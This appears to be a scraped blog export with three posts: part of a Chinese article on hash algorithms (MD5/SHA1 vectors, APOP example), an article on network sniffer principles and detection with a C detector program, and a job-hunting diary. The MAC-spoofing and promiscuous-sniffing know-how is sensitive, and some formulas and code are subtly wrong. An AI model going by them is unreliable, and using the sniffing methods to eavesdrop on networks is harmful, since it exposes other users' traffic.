d9130a8164549fe818874806e1c7014b\nMD4 (\u0026quot;abcdefghijklmnopqrstuvwxyz\u0026quot;) = d79e1c308aa5bbcdeea8ed63df412da9\nMD4 (\u0026quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\u0026quot;) = 043f8582f241db351ce627e153e7f0e4\nMD4 (\u0026quot;12345678901234567890123456789012345678901234567890123456789012345678901234567890\u0026quot;) = e33b4ddc9c38f2199c3e7b164fcc0536\n2) MD5\nMD5(RFC 1321)是 Rivest 于1991年对MD4的改进版本。它对输入仍以512位分组，其输出是4个32位字的级联，与 MD4 相同。它较MD4所做的改进是：\n1) 加入了第四轮\n2) 每一步都有唯一的加法常数；\n3) 第二轮中的G函数从((X \u0026and; Y) \u0026or; (X \u0026and; Z) \u0026or; (Y \u0026and; Z)) 变为 ((X \u0026and; Z) \u0026or; (Y \u0026and; ～Z))以减小其对称性；\n4) 每一步都加入了前一步的结果，以加快\u0026quot;雪崩效应\u0026quot;；\n5) 改变了第2轮和第3轮中访问输入子分组的顺序，减小了形式的相似程度；\n6) 近似优化了每轮的循环左移位移量，以期加快\u0026quot;雪崩效应\u0026quot;，各轮的循环左移都不同。 尽管MD5比MD4来得复杂，并且速度较之要慢一点，但更安全，在抗分析和抗差分方面表现更好。\n消 息首先被拆成若干个512位的分组，其中最后512位一个分组是\u0026ldquo;消息尾+填充字节(100\u0026hellip;0)+64 位消息长度\u0026rdquo;，以确保对于不同长度的消息，该分组不相同。64位消息长度的限制导致了MD5安全的输入长度必须小于264bit，因为大于64位的长度信 息将被忽略。而4个32位寄存器字初始化为A=0x01234567，B=0x89abcdef，C=0xfedcba98，D=0x76543210， 它们将始终参与运算并形成最终的散列结果。\n接着各个512位消息分组以16个32位字的形式进入算法的主循环，512位消息分组的个数据决定了循环的次数。主循环有4轮，每轮分别用到了非线性函数\nF(X, Y, Z) = (X \u0026and; Y) \u0026or; (～X \u0026and; Z)\nG(X, Y, Z) = (X \u0026and; Z) \u0026or; (Y \u0026and; ～Z)\nH(X, Y, Z) =X +Y + Z\nI(X, Y, Z) = X + (Y \u0026or; ～Z)\n这4 轮变换是对进入主循环的512位消息分组的16个32位字分别进行如下操作：将A、B、C、D的副本a、b、c、d中的3个经F、G、H、I运算后的结果 与第4个相加，再加上32位字和一个32位字的加法常数，并将所得之值循环左移若干位，最后将所得结果加上a、b、c、d之一，并回送至ABCD，由此完 成一次循环。\n所用的加法常数由这样一张表T来定义，其中i为1\u0026hellip;64，T是i的正弦绝对值之4294967296次方的整数部分，这样做是为了通过正弦函数和幂函数来进一步消除变换中的线性性。\n当所有512位分组都运算完毕后，ABCD的级联将被输出为MD5散列的结果。下面是一些MD5散列结果的例子：\nMD5 (\u0026quot;\u0026quot;) = d41d8cd98f00b204e9800998ecf8427e\nMD5 (\u0026quot;a\u0026quot;) = 0cc175b9c0f1b6a831c399e269772661\nMD5 (\u0026quot;abc\u0026quot;) = 900150983cd24fb0d6963f7d28e17f72\nMD5 (\u0026quot;message digest\u0026quot;) = f96b697d7cb7938d525a2f31aaf161d0\nMD5 (\u0026quot;abcdefghijklmnopqrstuvwxyz\u0026quot;) = c3fcd3d76192e4007dfb496cca67e13b\nMD5 (\u0026quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\u0026quot;) = d174ab98d277d9f5a5611c2c9f419d9f\nMD5 (\u0026quot;12345678901234567890123456789012345678901234567890123456789012345678901234567890\u0026quot;) = 57edf4a22be3c955ac49da2e2107b67a 参考相应RFC文档可以得到MD4、MD5算法的详细描述和算法的C源代码。\n3) SHA1 及其他\nSHA1是由NIST NSA设计为同DSA一起使用的，访问http://www.itl.nist.gov/fipspubs可以得到它的详细规范\u0026#8211;\u0026quot;FIPS PUB 180-1 SECURE HASH STANDARD\u0026quot;。它对长度小于264的输入，产生长度为160bit的散列值，因此抗穷举(brute-force)性更好。SHA-1 设计时基于和MD4相同原理,并且模仿了该算法。因为它将产生160bit的散列值，因此它有5个参与运算的32位寄存器字，消息分组和填充方式与MD5 相同，主循环也同样是4轮，但每轮进行20次操作，非线性运算、移位和加法运算也与MD5类似，但非线性函数、加法常数和循环左移操作的设计有一些区别， 可以参考上面提到的规范来了解这些细节。下面是一些SHA1散列结果的例子：\nSHA1 (\u0026quot;abc\u0026quot;) = a9993e36 4706816a ba3e2571 7850c26c 9cd0d89d\nSHA1 (\u0026quot;abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq\u0026quot;) = 84983e44 1c3bd26e baae4aa1 f95129e5 e54670f1 其 他一些知名的Hash算法还有MD2、N-Hash、RIPE-MD、HAVAL等等。上面提到的这些都属于\u0026quot;纯\u0026quot;Hash算法。还有另2类Hash算 法，一类就是基于对称分组算法的单向散列算法，典型的例子是基于DES的所谓Davies-Meyer算法，另外还有经IDEA改进的Davies- Meyer算法，它们两者目前都被认为是安全的算法。另一类是基于模运算/离散对数的，也就是基于公开密钥算法的，但因为其运算开销太大，而缺乏很好的应 用前景。\n没有通过分析和差分攻击考验的算法，大多都已经夭折在实验室里了，因此，如果目前流行的Hash算法能完全符合 密码学意义上的单向性和抗冲突性，就保证了只有穷举，才是破坏Hash运算安全特性的唯一方法。为了对抗弱抗冲突性，我们可能要穷举个数和散列值空间长度 一样大的输入，即尝试2128或2160个不同的输入，目前一台高档个人电脑可能需要1025年才能完成这一艰巨的工作，即使是最高端的并行系统，这也不 是在几千年里的干得完的事。而因为\u0026quot;生日攻击\u0026quot;有效的降低了需要穷举的空间，将其降低为大约1.2*264或1.2*280，所以，强抗冲突性是决定 Hash算法安全性的关键。\n在NIST新的 Advanced Encryption Standard (AES)中，使用了长度为128、192、256bit 的密钥，因此相应的设计了 SHA256、SHA384、SHA512，它们将提供更好的安全性。\nHash算法在信息安全方面的应用主要体现在以下的3个方面：\n1) 文件校验\n我们比较熟悉的校验算法有奇偶校验和CRC校验，这2种校验并没有抗数据篡改的能力，它们一定程度上能检测并纠正数据传输中的信道误码，但却不能防止对数据的恶意破坏。\nMD5 Hash算法的\u0026quot;数字指纹\u0026quot;特性，使它成为目前应用最广泛的一种文件完整性校验和(Checksum)算法，不少Unix系统有提供计算md5 checksum的命令。它常被用在下面的2种情况下：\n第 一是文件传送后的校验，将得到的目标文件计算 md5 checksum，与源文件的md5 checksum 比对，由两者 md5 checksum 的一致性，可以从统计上保证2个文件的每一个码元也是完全相同的。这可以检验文件传输过程中是否出现错误，更重要的是可以保证文件在传输过程中未被恶意篡 改。一个很典型的应用是ftp服务，用户可以用来保证多次断点续传，特别是从镜像站点下载的文件的正确性。\n更出色的解决方法是所谓的代码 签名，文件的提供者在提供文件的同时，提供对文件Hash值用自己的代码签名密钥进行数字签名的值，及自己的代码签名证书。文件的接受者不仅能验证文件的 完整性，还可以依据自己对证书签发者和证书拥有者的信任程度，决定是否接受该文件。浏览器在下载运行插件和java小程序时，使用的就是这样的模式。\n第 二是用作保存二进制文件系统的数字指纹，以便检测文件系统是否未经允许的被修改。不少系统管理/系统安全软件都提供这一文件系统完整性评估的功能，在系统 初始安装完毕后，建立对文件系统的基础校验和数据库，因为散列校验和的长度很小，它们可以方便的被存放在容量很小的存储介质上。此后，可以定期或根据需 要，再次计算文件系统的校验和，一旦发现与原来保存的值有不匹配，说明该文件已经被非法修改，或者是被病毒感染，或者被木马程序替代。TripWire就 提供了一个此类应用的典型例子。\n更完美的方法是使用\u0026quot;MAC\u0026quot;。\u0026quot;MAC\u0026quot; 是一个与Hash密切相关的名词，即信息鉴权码(Message Authority Code)。它是与密钥相关的Hash值，必须拥有该密钥才能检验该Hash值。文件系统的数字指纹也许会被保存在不可信任的介质上，只对拥有该密钥者提 供可鉴别性。并且在文件的数字指纹有可能需要被修改的情况下，只有密钥的拥有者可以计算出新的散列值，而企图破坏文件完整性者却不能得逞。\n2) 数字签名\nHash 算法也是现代密码体系中的一个重要组成部分。由于非对称算法的运算速度较慢，所以在数字签名协议中，单向散列函数扮演了一个重要的角色。\n在这种签名协议中，双方必须事先协商好双方都支持的Hash函数和签名算法。\n签名方先对该数据文件进行计算其散列值，然后再对很短的散列值结果\u0026#8211;如Md5是16个字节，SHA1是20字节，用非对称算法进行数字签名操作。对方在验证签名时，也是先对该数据文件进行计算其散列值，然后再用非对称算法验证数字签名。\n对 Hash 值，又称\u0026quot;数字摘要\u0026quot;进行数字签名，在统计上可以认为与对文件本身进行数字签名是等效的。而且这样的协议还有其他的优点：\n首先，数据文件本身可以同它的散列值分开保存，签名验证也可以脱离数据文件本身的存在而进行。\n再 者，有些情况下签名密钥可能与解密密钥是同一个，也就是说，如果对一个数据文件签名，与对其进行非对称的解密操作是相同的操作，这是相当危险的，恶意的破 坏者可能将一个试图骗你将其解密的文件，充当一个要求你签名的文件发送给你。因此，在对任何数据文件进行数字签名时，只有对其Hash值进行签名才是安全 的。\n3) 鉴权协议\n如下的鉴权协议又被称作\u0026quot;挑战\u0026#8211;认证模式：在传输信道是可被侦听，但不可被篡改的情况下，这是一种简单而安全的方法。\n需 要鉴权的一方，向将被鉴权的一方发送随机串（\u0026ldquo;挑战\u0026rdquo;），被鉴权方将该随机串和自己的鉴权口令字一起进行 Hash 运算后，返还鉴权方，鉴权方将收到的Hash值与在己端用该随机串和对方的鉴权口令字进行 Hash 运算的结果相比较（\u0026ldquo;认证\u0026rdquo;），如相同，则可在统计上认为对方拥有该口令字，即通过鉴权。\nPOP3协议中就有这一应用的典型例子：\nS: +OK POP3 server ready \u0026lt;1896.697170952@dbc.mtview.ca.us\u0026gt;\nC: APOP mrose c4c9334bac560ecc979e58001b3e22fb\nS: +OK maildrop has 1 message (369 octets) 在 上面的一段POP3协议会话中，双方都共享的对称密钥（鉴权口令字）是tanstaaf，服务器发出的挑战是\u0026lt; 1896.697170952@dbc.mtview.ca.us\u0026gt;，客户端对挑战的应答是MD5(\u0026quot;\u0026lt; 1896.697170952@dbc.mtview.ca.us\u0026gt;tanstaaf\u0026quot;) = c4c9334bac560ecc979e58001b3e22fb，这个正确的应答使其通过了认证。\n散列算法长期以来一直在计算机科学中大量应用，随着现代密码学的发展，单向散列函数已经成为信息安全领域中一个重要的结构模块，我们有理由深入研究其设计理论和应用方法。\n（金诺 \u0026middot; Panzer）\n","permalink":"https://hessian.cn/p/314.html","summary":"什么是 Hash Hash 的重要特性 Hash 函数的实现 主要的 Hash 算法 Hash 算法的安全问题 Hash 算法的应用 结 论 Hash， 一般翻译做\u0026ldquo;散列\u0026rdquo;，也有直接音译为\u0026quot;哈希\u0026quot;的，就是把任意长度的输入（又叫做预映射， pre-image），通过散列算法，变换成固定长度的输出，该输出就是散列值。这种转换是一种压缩映射，也就是，散列值的空间通常远小于输入的空间，不 同的输入可能会散列成相同的输出，而不可能从散列值来唯一的确定输入值。\n","title":"Hash 算法及其应用"},{"content":"渗透实验室：大皮球 一．嗅探器的基础知识 1．1 什么是嗅探器？ 嗅探器的英文写法是Sniff，可以理解为一个安装在计算机上的窃听设备它可以用来窃听计算机在网络上所产生的众多的信息。简单一点解释：一部电话的窃听装置, 可以用来窃听双方通话的内容，而计算机网络嗅探器则可以窃听计算机程序在网络上发送和接收到的数据。 可是，计算机直接所传送的数据，事实上是大量的二进制数据。因此, 一个网络窃听程序必须也使用特定的网络协议来分解嗅探到的数据， 嗅探器也就必须能够识别出那个协议对应于这个数据片断，只有这样才能够进行正确的解码。 计 算机的嗅探器比起电话窃听器，有他独特的优势： 很多的计算机网络采用的是\u0026ldquo;共享媒体\u0026quot;。 也就是说，你不必中断他的通讯，并且配置特别的线路，再安装嗅探器，你几乎可以在任何连接着的网络上直接窃听到你同一掩码范围内的计算机网络数据。我们称 这种窃听方式为\u0026ldquo;基于混杂模式的嗅探\u0026rdquo;（promiscuous mode） 。 尽管如此，这种\u0026ldquo;共享\u0026rdquo; 的技术发展的很快，慢慢转向\u0026ldquo;交换\u0026rdquo; 技术，这种技术会长期内会继续使用下去， 它可以实现有目的选择的收发数据。 1．2嗅探器是如何工作的 1．2．1如何窃听网络上的信息 刚才说了，以太网的数据传输是基于\u0026ldquo;共享\u0026rdquo;原理的：所有的同一本地网范围内的计算机共同接收到相同的数据包。这意味着计算机直接的通讯都是透明可见的。 正是因为这样的原因，以太网卡都构造了硬件的\u0026ldquo;过滤器\u0026rdquo;这个过滤器将忽略掉一切和自己无关的网络信息。事实上是忽略掉了与自身MAC地址不符合的信息。 嗅探程序正是利用了这个特点，它主动的关闭了这个嗅探器，也就是前面提到的设置网卡\u0026ldquo;混杂模式\u0026rdquo;。因此，嗅探程序就能够接收到整个以太网内的网络数据了信息了。 1．2．2什么是以太网的MAC地址 MAC：Media Access Control. 由 于大量的计算机在以太网内\u0026ldquo;共享\u0026ldquo;数据流，所以必须有一个统一的办法用来区分传递给不同计算机的数据流的。这种问题不会发生在拨号用户身上，因为计算机会 假定一切数据都由你发动给modem然后通过电话线传送出去。可是，当你发送数据到以太网上的时候，你必须弄清楚，哪台计算机是你发送数据的对象。的确， 现在有大量的双向通讯程序出现了，看上去，他们好像只会在两台机器内交换信息，可是你要明白，以太网的信息是共享的，其他用户，其实一样接收到了你发送的 数据，只不过是被过滤器给忽略掉了。 MAC地址是由一组6个16进制数组成的，它存在于每一块以太网卡中。后面的章节将告诉你如何查看自己计算机的MAC地址。 如 果你对网络结构不太熟悉，建议参考一下OSI 7-Layer Model，这将有助于你理解后面的东西以太网所使用的协议主要是TCP/IP，并且TCP/IP也用于其他的网络模型(比如拨号用户,他们并不是处于一 个以太网环境中)。举例一下，很多的小团体计算机用户都为实现文件和打印共享，安装了\u0026ldquo;NetBEUI\u0026rdquo; 因为它不是基于TCP/IP协议的， 所以来自于网络的黑客一样无法得知他们的设备情况。 基于Raw协议，传输和接收都在以太网里起着支配作用。你不能直接发送一个Raw数据给以太网，你必须先做一些事情，让以太网能够理解你的意思。这有点类似于邮寄信件的方法，你不可能直接把一封信投递出去，你必须先装信封，写地址，贴邮票，网络上的传输也是这样的。 下面给出一个简单的图示，有助于你理解数据传送的原理： _________ /\u0026#8230;\u0026#8230;\u0026#8230; /..Internet. +\u0026#8212;\u0026#8211;+ +\u0026#8212;-+\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.+\u0026#8212;\u0026#8211;+ |UserA|\u0026#8212;\u0026#8211;|路由|\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.|UserB| +\u0026#8212;\u0026#8211;+ ^ +\u0026#8212;-+\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.+\u0026#8212;\u0026#8211;+ | \u0026#8230;\u0026#8230;\u0026#8230;../ | \u0026#8212;\u0026#8212;\u0026#8212;/ +\u0026#8212;\u0026#8212;+ |嗅探器| +\u0026#8212;\u0026#8212;+ UserA IP 地址: 10.0.0.23 UserB IP 地址: 192.168.100.54 现在知道UserA要于UserB进行计算机通讯，UserA需要为10.0.0.23到192.168.100.54的通讯建立一个IP包 这个IP包在网络上传输，它必须能够穿透路由器。因此， UserA必须首先提交这个包给路由器。由每个路由器考查目地IP地址然后决定传送路径。 UserA 所知道的只是本地与路由的连接，和UserB的IP地址。UserA并不清楚网络的结构情况和路由走向。 UserA必须告诉路由预备发送的数据包的情况，以太网数据传输结构大概是这样的： +\u0026#8211;+\u0026#8211;+\u0026#8211;+\u0026#8211;+\u0026#8211;+\u0026#8211;+ | 目标 MAC | +\u0026#8211;+\u0026#8211;+\u0026#8211;+\u0026#8211;+\u0026#8211;+\u0026#8211;+ | 源 MAC | +\u0026#8211;+\u0026#8211;+\u0026#8211;+\u0026#8211;+\u0026#8211;+\u0026#8211;+ |08 00| +\u0026#8211;+\u0026#8211;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;+ | | . . . IP 包 . . . | | +\u0026#8211;+\u0026#8211;+\u0026#8211;+\u0026#8211;+\u0026#8212;\u0026#8211;+ | CRC校验 | +\u0026#8211;+\u0026#8211;+\u0026#8211;+\u0026#8211;+ 理 解一下这个结构，UserA的计算机建立了一个包假设它由100个字节的长度（我们假设一下，20 个字节是IP信息，20个字节是TCP信息，还有60个字节为传送的数据）。现在把这个包发给以太网,放14个字节在目地MAC地址之前，源MAC地址， 还要置一个0x0800的标记，他指示出了TCP/IP栈后的数据结构。同时，也附加了4个字节用于做CRC校验 （CRC校验用来检查传输数据的正确性）。 现在发送数据到网络。 所有在网内的计算机通过适配器都能够发现这个数据 片，其中也包括路由适配器，嗅探器和其他一些机器。通常，适配器都具有一块芯片用来做结构比较的，检查结构中的目地MAC地址和自己的MAC地址，如果不 相同，则适配器会丢弃这个结构。这个操作会由硬件来完成，所以，对于计算机内的程序来说，整个过程时毫无察觉的。 当路由器的以太网适配器发现这个结构后，它会读取网络信息，并且去掉前14个字节，跟踪4个字节。查找0x8000标记，然后对这个结构进行处理（它将根据网络状况推测出下一个最快路由节点，从而最快传送数据到预定的目标地址）。 设想，只有路由机器能够检查这个结构，并且所有其他的机器都忽略这个 结构，则嗅探器无论如何也无法检测到这个结构的。 1.3.1 MAC地址的格式是什么？ 以 太网卡的MAC地址是一组48比特的数字，这48比特分为两个部分组成，前面的24比特用于表示以太网卡的寄主，后面的24比特是一组序列号，是由寄主进 行支派的。这样可以担保没有任何两块网卡的MAC地址是相同的（当然可以通过特殊的方法实现）。如果出现相同的地址，将发生问题，所有这一点是非常重要 的。这24比特被称之为OUI（Organizationally Unique Identifier）。 可是，OUI的真实长度只有22比特，还有两个比特用于其他：一个比特用来校验是否是广播或者多播地址，另一个比特用来分配本地执行地址（一些网络允许管理员针对具体情况再分配MAC地址）。 举 个例子，你的MAC地址在网络中表示为 03 00 00 00 00 01 。第一个字节所包含的值二进制表示方法为00000011。 可以看到，最后两个比特都被置为真值。他指定了一个多播模式，向所有的计算机进行广播，使用了\u0026ldquo;NetBEUI\u0026rdquo;协议（一般的，在Windows计算机的 网络中，文件共享传输等是不使用TCP/IP协议的）。. 1．3．2 我如何得到自己计算机的MAC地址？ Win9x Win9x自带的这个程序将告诉你答案：\u0026ldquo;winipcfg.exe\u0026rdquo; WinNT 在命令行的状态下运行这个命令：\u0026quot;ipconfig /all\u0026quot; 它会显示出你的MAC网卡地址，下面是一个例子： Windows 2000 IP Configuration Host Name . . . . . . . . . . . . : bigball Primary DNS Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No Ethernet adapter 本地连接: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Legend/D-Link DFE-530TX PCI Fast Eth ernet Adapter (Rev B) Physical Address. . . . . . . . . : 00-50-BA-25-5D-E8 DHCP Enabled. . . . . . . . . . . : No IP Address. . . . . . . . . . . . : 192.168.10.254 Subnet Mask . . . . . . . . . . . : 255.255.128.0 Default Gateway . . . . . . . . . : 192.168.10.3 Ethernet adapter SC12001: Description . . . . . . . . : DEC DC21140 PCI Fast Ethernet Linux 运行\u0026ldquo;ifconfig\u0026rdquo;。结果如下： eth0 Link encap:Ethernet HWaddr 08:00:17:0A:36:3E inet addr:192.0.2.161 Bcast:192.0.2.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1137249 errors:0 dropped:0 overruns:0 TX packets:994976 errors:0 dropped:0 overruns:0 Interrupt:5 Base address:0x300 Solaris 用 \u0026ldquo;arp\u0026rdquo; 或者 \u0026ldquo;netstat -p\u0026rdquo; 命令 1．3．3我如何才能知道有那些计算机和我的MAC地址直接关联？ 对于WinNT和Unix机器，可以直接使用\u0026ldquo;arp -a\u0026rdquo;查看。 1．3．4我能够改变我的MAC地址吗？ 可以。简单的说一下： 第一种方法，你要做地址欺骗，因为MAC地址是数据包结构的一部分， 因此，当你向以太网发送一个数据包的时候，你可以覆盖源始的MAC信息。 第二种方法,很多网卡允许在一定的时间内修改内部的MAC地址。 第的三种方法， 你可以通过重新烧录EEPROM来实现MAC地址的修改。但是这种方法要求你必须有特定的硬件设备和适用的芯片才能修改，而且这种方法将永远的修改你的MAC地址。 二．反嗅探技术 2．1我如何才能检测网内是否存在有嗅探程序？ 理论上，嗅探程序是不可能被检测出来的，因为嗅探程序是一种被动的接收程序，属于被动触发的，它只会收集数据包，而不发送出任何数据，尽管如此，嗅探程序有时候还是能够被检测出来的。 一个嗅探程序，不会发送任何数据，但是当它安装在一台正常的局域网内的计算机上的时候会产生一些数据流。举个例子，它能发出一个请求，始DNS根据IP地址进行反相序列查找。 下面一种简单的检测方法： ping 方法 很多的嗅探器程序，如果你发送一个请求给哪台有嗅探程序的机器，它将作出应答 说明： 1. 怀疑IP地址为10.0.0.1的机器装有嗅探程序，它的MAC地址确定为00-40-05-A4-79-32. 2. 确保机器是在这个局域网中间。 3. 现在修改MAC地址为00-40-05-A4-79-33. 4. 现在用ping命令ping这个IP地址。 5. 没有任何人能够看到发送的数据包，因为每台计算机的MAC地址无法与这个数据包中的目地MAC不符，所以，这个包应该会被丢弃。 6. 如果你看到了应答，说明这个MAC包没有被丢弃，也就是说，很有可能有嗅探器存在。 现 在，这种方法已经得到了广泛的推崇和宣扬，新一代的黑客们也学会了在他们的代码中加入虚拟的MAC地址过滤器很多的计算机操作系统（比如Windows） 都支持MAC过滤器(很多过虑器只检查MAC的第一个字节，这样一来，MAC地址FF-00-00-00-00-00和FF-FF-FF-FF-FF- FF就没有区别了。（广播地址消息会被所有的计算机所接收）。这种技术通常会用在交换模型的以太网中。当交换机发现一个未知的MAC地址的时候，它会执行 类似\u0026ldquo;flood\u0026rdquo;的操作，把这个包发送给每个节点。 2．2本机嗅探程序的检测 本机嗅探的程序检测方法比较简单，只要检查一下网卡是否处于混杂模式就可以了，在Linux下，这个比较容易实现，而在Windows平台上，并没有现成的函数可供我们实现这个功能，我们来用一点小技巧： #include #define MAX_PACK_LEN 65535 #define MAX_HOSTNAME_LAN 255 #pragma comment (lib , \u0026quot;ws2_32.lib\u0026quot;) int main() { SOCKET SockRaw,Sock; WSADATA wsaData; int ret=0; struct sockaddr_in sAddr,addr; char RecvBuf[MAX_PACK_LEN]; char FAR name[MAX_HOSTNAME_LAN]; struct hostent FAR * pHostent; char *Buf=(char *)malloc(128); int settimeout=1000;//这里我们设置了一秒钟超时 printf(\u0026quot;UNSniffer for Win2k v1.0nPower by BigBallnHomePage:http://www.patching.net/liumynEmail:liumy@patching.netnOicq:9388920nnChecking your system ,wait a moment please\u0026#8230;n\u0026quot;); WSAStartup(MAKEWORD(2,2),\u0026amp;wsaData); //建立一条RawSocket SockRaw=socket(AF_INET,SOCK_RAW,IPPROTO_IP); 再建立一条UDP Sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); memset(\u0026amp;sAddr,0,sizeof(sAddr)); memset(\u0026amp;addr,0,sizeof(addr)); sAddr.sin_family=AF_INET; sAddr.sin_port=htons(5257); addr.sin_family=AF_INET; addr.sin_port=htons(5258); //把IP地址指向本机 addr.sin_addr.S_un.S_addr=inet_addr(\u0026quot;127.0.0.1\u0026quot;); memset(RecvBuf,0, sizeof(RecvBuf)); pHostent=malloc(sizeof(struct hostent)); gethostname(name, MAX_HOSTNAME_LAN); pHostent=gethostbyname(name); //取得自己的IP地址 memcpy(\u0026amp;sAddr.sin_addr.S_un.S_addr, pHostent-\u0026gt;h_addr_list[0], pHostent-\u0026gt;h_length); free(pHostent); //绑定一个本机的接收端口 bind(SockRaw, (struct sockaddr *)\u0026amp;sAddr, sizeof(sAddr)); //虚连接到本机的一个未打开的端口 connect(Sock,(struct sockaddr *)\u0026amp;addr,sizeof(addr)); Buf=\u0026quot;1234567890!@#$%^\u0026amp;*\u0026quot;; //设置超时 setsockopt(SockRaw,SOL_SOCKET,SO_RCVTIMEO,(char *)\u0026amp;settimeout,sizeof(int)); //向虚连接端口发送一个数据包 send(Sock,Buf,strlen(Buf),0); //使用SockRaw尝试接收这个数据包 ret=recv(SockRaw,RecvBuf,sizeof(RecvBuf),0); if(ret==SOCKET_ERROR || ret==0) printf(\u0026quot;No found any sniffer in your system!n\u0026quot;); else { //进行ChkSum if(Buf==\u0026quot;1234567890!@#$%^\u0026amp;*\u0026quot;) printf(\u0026quot;Warning!!! Found sniffer!!!n\u0026quot;); } closesocket(Sock); closesocket(SockRaw); free(pHostent); free(Buf); WSACleanup(); return 0; }\n","permalink":"https://hessian.cn/p/434.html","summary":"渗透实验室：大皮球 一．嗅探器的基础知识 1．1 什么是嗅探器？ 嗅探器的英文写法是Sniff，可以理解为一个安装在计算机上的窃听设备它可以用来窃听计算机在网络上所产生的众多的信息。简单一点解释：一部电话的窃听装置, 可以用来窃听双方通话的内容，而计算机网络嗅探器则可以窃听计算机程序在网络上发送和接收到的数据。 ","title":"嗅探原理与反嗅探技术详解"},{"content":"(TNND 本来是我同学 还玩得很好的那种,说这边有项目,叫我过来搞\u0026#8230;哪知道过来后又叫我坐火车去吉林通化那边,再到白山..原来是搞直销\u0026#8230;郁闷\u0026#8230;去那待了2天听了几堂课\u0026#8230;.不干\u0026#8230;走人\u0026#8230;.丫的..浪费老子近千块钱\u0026#8230;顶他个肺啊\u0026#8230;还是回北京找工作吧\u0026#8230;现在回乙膊恢 栏墒裁戳?\u0026#8230;原来的活都托给我哥做了..唉\u0026#8230;..)\n4月28号\n呀呀\u0026#8230;又到首都了\u0026#8230;大城市呀\u0026#8230;\u0026#8230;.\n嗯\u0026#8230;找工作\u0026#8230;找工作\u0026#8230;.怎么办怎么办?\u0026#8230;\u0026#8230;\n这可不像我们那个小地方,走上门问就行了\u0026#8230;.况且\u0026#8230;.走上门问的那是个什么档次的工作场所呀\n再说了\u0026#8230;.北京啷个大,,,走打落啦啷个办撒\u0026#8230;\n嗯嗯\u0026#8230;.. 姜哥给我说了上智联(zhaopin.com)看看,还真有不少\u0026#8230;\n(姜哥是我网上的朋友\u0026#8230;对我很照顾\u0026#8230;很感谢他\u0026#8230;)\n真是不少\u0026#8230;是太多了\u0026#8230;\n开始还不知道该挑哪个呢\u0026#8230;..搜索一下\u0026#8230;.网页设计相关的\u0026#8230;.\n自己能达标的不是很多\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 不过捏\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 姜哥他又说了\u0026#8230;那些都是唬人的 些那些要求的人或许都不懂的说\n嗯嗯\u0026#8230;.既然如此\u0026#8230;..那不管了\u0026#8230;..注册了个帐号\u0026#8230;.\n重新搜索一次\u0026#8230;.全选\u0026#8230;.全部申请\u0026#8230;..\n哇哈哈\u0026#8230;谁有我强\u0026#8230;.反正资料里我都写清楚我会什么,能干什么了撒\n反正撒大网 总能捞到鱼吧\u0026#8230;\n嗯\u0026#8230;每天如此\u0026#8230;\n第二天下午 \u0026#8230;还是没消息\u0026#8230;没消息\u0026#8230;郁闷了\u0026#8230;..\n这哈子姜哥给我来电话了 \u0026#8230; 说半壁店那边有家网吧在招聘网管\u0026#8230;据说是包住 还是怎么的\u0026#8230;\n眼下我要解决的也正是生活问题啊\u0026#8230;不管了 去撞撞 虽然我不想做网管\n\u0026#8230;. 嗯\u0026#8230;请坐电梯上三楼?\u0026#8230;.上就上嘛\u0026#8230;\n网星在线\u0026#8230;装修挺好的嘛\u0026#8230;嗯\u0026#8230;不慌,,,先熟悉一下环境, 交了十块钱押金(心疼啊\u0026#8230;)\n\u0026#8230;随便挑了台机器坐下\u0026#8230;嗯\u0026#8230;机器也挺好\u0026#8230;P4 2.8 1G内存 7300GT的显卡 呀呀的\u0026#8230;\n开好机了\u0026#8230;登录界面上写了个网站的地址\u0026#8230;二维科技?\u0026#8230;汗\u0026#8230;登录好 去看看\n怎么说也算是同行\u0026#8230;看看北京这大地方人家的系统是咋个搞法的\u0026#8230;.\n嗯\u0026#8230;?\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 招贤纳士?\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 招人呢.?\u0026#8230;嘿嘿 应该招技术员的吧\u0026#8230;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 直接在这种公司做可比在网吧强多了\n还真有\u0026#8230;条件全部符合\u0026#8230;. 找QQ\u0026#8230;.加了\u0026#8230;啊欧\u0026#8230;不在线\u0026#8230;不管 发个留言吧\u0026#8230;\n诶?\u0026#8230;在呢\u0026#8230;.扯了一会\u0026#8230;..薪水才1000块\u0026#8230;不包吃住\u0026#8230;\u0026#8230;那还不如个网管\u0026#8230;.\n这边随便租个地下室也不少于200啊\u0026#8230;.不过相比网管我比较喜欢这个\u0026#8230;..\n算了\u0026#8230;.明天去面试\u0026#8230;瞧瞧去\u0026#8230;\n不知道干什么\u0026#8230;.嗯\u0026#8230;找工作要紧\u0026#8230;.再上智联上看看去\u0026#8230;呀 \u0026#8230;有消息\n有两条只是常规回复\u0026#8230;.通知我已经收到我的申请而已\u0026#8230;第三条是一家做P2P播放器的\n要求根据他们现有的网站内容根据个人能力设计一个主页\u0026#8230;.\n我晕\u0026#8230;搞设计?\u0026#8230;不是我的强项啊\u0026#8230;.算了\u0026#8230;再看下一家\n汗\u0026#8230;标题就是\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8220;请速来面试\u0026#8221;\u0026#8230;..\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 不知道是我非常符合他们的需要呢 还是他们想在放假前把人招着\n看内容再说\u0026#8230;.哦 是一家做保健养生的公司\u0026#8230;.网站做得很烂\u0026#8230;.一看就出自菜鸟之手 嘿嘿\u0026#8230;\n相比之下原来我也算半个高手了\u0026#8230;先偷笑一会\n嗯\u0026#8230;..上班时间是早上10点 \u0026#8211; 12点 下午 2点 